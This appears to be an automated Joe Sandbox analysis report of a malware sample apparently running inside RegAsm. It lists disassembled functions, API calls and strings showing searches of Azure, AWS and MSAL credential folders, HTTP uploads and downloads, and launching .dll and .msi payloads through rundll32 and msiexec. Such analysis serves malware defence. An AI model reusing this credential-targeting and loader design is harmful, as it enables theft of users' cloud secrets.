Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01102CA0,00420B3E), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,010FAA58,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,01103C30), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

memset.MSVCRT ref: 00414A0B

Strings

\.azure\, xrefs: 004148A1
Azure\.aws, xrefs: 0041493F
\.IdentityService\, xrefs: 004149B9
Azure\.IdentityService, xrefs: 004149CB
msal.cache, xrefs: 004149D0
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
\.aws\, xrefs: 0041492D
*.*, xrefs: 004148B8
*.*, xrefs: 00414944
Azure\.azure, xrefs: 004148B3

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2615841231-156850865
Opcode ID: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,01103C70), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,01103BC0), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,01103D70,?,011033C8,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404C42
------, xrefs: 00404CB9
------, xrefs: 00404A0D
------, xrefs: 00404B78
", xrefs: 00404D83

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,01103C70), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,011033C8,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

GET, xrefs: 004063CC
ERROR, xrefs: 00406519
ERROR, xrefs: 00406457

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,010FAA58,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT(00000000,?), ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 00415116
ERROR, xrefs: 00415412
ERROR, xrefs: 00415329
ERROR, xrefs: 004154DE
ERROR, xrefs: 00415173
ERROR, xrefs: 0041525D

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

/passive, xrefs: 00412F6B
.msi, xrefs: 00412EA8
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
<, xrefs: 00412FA0
"" , xrefs: 00412BAA
.dll, xrefs: 00412CF5
/i ", xrefs: 00412EF4
C:\Windows\system32\rundll32.exe, xrefs: 00412E42

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8a857a4477adb986954f2aa79249c887d2c34b9584a6d767cbac78888b7f7f6b
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: 8a857a4477adb986954f2aa79249c887d2c34b9584a6d767cbac78888b7f7f6b
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00417DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,010F64C0,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

?, xrefs: 00417E1A
- , xrefs: 00418043
%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Openlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 2731306069-3278919252
Opcode ID: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,01103C70), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 4287319946-3681770271
Opcode ID: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
